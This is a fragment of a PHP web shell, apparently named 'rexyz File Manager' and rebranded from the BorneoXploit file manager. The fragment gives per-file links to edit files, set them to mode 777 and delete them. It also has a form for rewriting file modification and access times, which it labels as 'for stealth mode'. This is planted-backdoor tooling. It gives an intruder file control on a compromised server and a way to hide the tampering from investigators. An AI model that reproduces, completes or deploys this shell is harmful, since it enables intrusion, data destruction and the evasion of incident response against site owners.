                    <a class="oplink ed" href="<?php echo $self; ?>?edit=<?php echo urlencode($p); ?>&root=<?php echo urlencode($root); ?>">EDIT</a>
                    <a class="oplink dt" href="javascript:void(0)"
                       onclick="rexyzOpenFtime('<?php echo htmlspecialchars($p,ENT_QUOTES); ?>','<?php echo $f_mtime ? date('Y-m-d\\TH:i', $f_mtime) : ''; ?>','<?php echo $f_atime ? date('Y-m-d\\TH:i', $f_atime) : ($f_mtime ? date('Y-m-d\\TH:i', $f_mtime) : ''); ?>')">DATE</a>
                    <a class="oplink cm" href="<?php echo $self; ?>?action=chmod&file=<?php echo urlencode($p); ?>&mode=0777&root=<?php echo urlencode($root); ?>">777</a>
                    <a class="oplink rm" href="<?php echo $self; ?>?action=delete&file=<?php echo urlencode($p); ?>&root=<?php echo urlencode($root); ?>"
                       onclick="return confirm('Delete file:\n<?php echo htmlspecialchars($p); ?> ?')">DEL</a>
                </div>
            </td>
        </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    </div>
</div>

<div class="footer">
    rexyz File Manager v1.0 · Rebranded from Borneo File Manager (BorneoXploit) · Security Suite
</div>
</div>

<div class="ftime-modal" id="ftimeModal" role="dialog" aria-modal="true" aria-label="Edit File Timestamp">
    <div class="ftime-card">
        <h3>⏱️ Edit File Timestamp</h3>
        <div class="sub">Modify modification / access time for stealth mode</div>
        <div class="fpath" id="ftimePath">—</div>
        <form method="POST" id="ftimeForm">
            <input type="hidden" name="set_ftime" value="1">
            <input type="hidden" name="target_file" id="ftimeTarget" value="">
            <input type="hidden" name="root" value="<?php echo htmlspecialchars($root); ?>">
            <div class="ftime-field">
                <label>Modification Time (mtime)</label>
                <input type="datetime-local" name="mtime" id="ftimeMtime" step="1" required>
                <div class="hint">When the file was last modified</div>
            </div>
            <div class="ftime-field">
                <label>Access Time (atime)</label>
                <input type="datetime-local" name="atime" id="ftimeAtime" step="1">
                <div class="hint">When the file was last read (optional — defaults to mtime)</div>
            </div>
            <div class="ftime-actions">
                <button type="button" class="btn btn-dark" onclick="rexyzCloseFtime()">CANCEL</button>
                <button type="submit" class="btn btn-cyan" style="flex:1.2">💾 UPDATE TIMESTAMP</button>
            </div>
        </form>
    </div>
</div>

</body>
</html>

Cancel